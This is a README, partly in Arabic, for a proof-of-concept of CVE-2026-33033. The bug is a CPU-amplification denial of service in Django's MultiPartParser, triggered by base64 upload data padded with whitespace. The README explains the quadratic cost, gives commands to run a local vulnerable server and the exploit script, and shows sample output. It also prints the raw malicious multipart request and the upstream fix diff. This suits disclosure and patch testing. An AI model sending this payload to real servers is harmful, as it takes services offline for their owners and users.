الطبقة 1:  حلقة محاذاة base64 تستدعي read(1) لكل بايت مسافة
              |
الطبقة 2:  LazyStream.read(1) يجلب الباقي كاملاً (~64 كيلوبايت)، يقطع 1 بايت،
          ويعيد ~64 كيلوبايت - 1  -->  نسخة بايتات O(C) لكل استدعاء
              |
الطبقة 3:  unget() يقوم بـ  self._leftover = bytes + self._leftover
          مما ينشئ كائن بايتات جديدًا في كل مرة  -->  memcpy بحجم ~C بايت

الإجمالي = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.15 مليار عملية بايت

CVE-2026-33033-PoC/
├── README.md           # هذا الملف
├── LICENSE
├── requirements.txt    # تبعيات Python
├── exploit.py          # سكربت الاستغلال
└── victim/             # خادم Django الضعيف
    ├── manage.py
    ├── uwsgi.ini       # إعداد نشر uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # إعدادات Django الافتراضية (لا حاجة لإعداد خاص)
        ├── urls.py      # نقاط نهاية /upload و /health
        └── wsgi.py

git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

cd victim
python manage.py runserver 0.0.0.0:8000

cd victim
uwsgi --ini uwsgi.ini

source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================

Target:       http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds:       3

[*] Checking server health...
[+] Server is up.

------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
    Status: 200
    Time:   5.55 ms

------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------

  Round 1/3:
    Status: 200
    Time:   4571.12 ms
  ...

============================================================
RESULTS
============================================================
  Benign request:          5.55 ms
  Attack average:       4571.12 ms  (over 3 rounds)
  Amplification:            823x

[!] VULNERABLE: Average attack time exceeds 1 second.
    A single 2.5 MB request ties up a worker for ~4.6s.
    With 4 workers, just 4 concurrent requests can DoS the server.

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2,621,433 spaces>A
------CVE2026-33033--

for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # strips to empty
            remaining = len(stripped_chunk) % 4               # stays at 3

-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)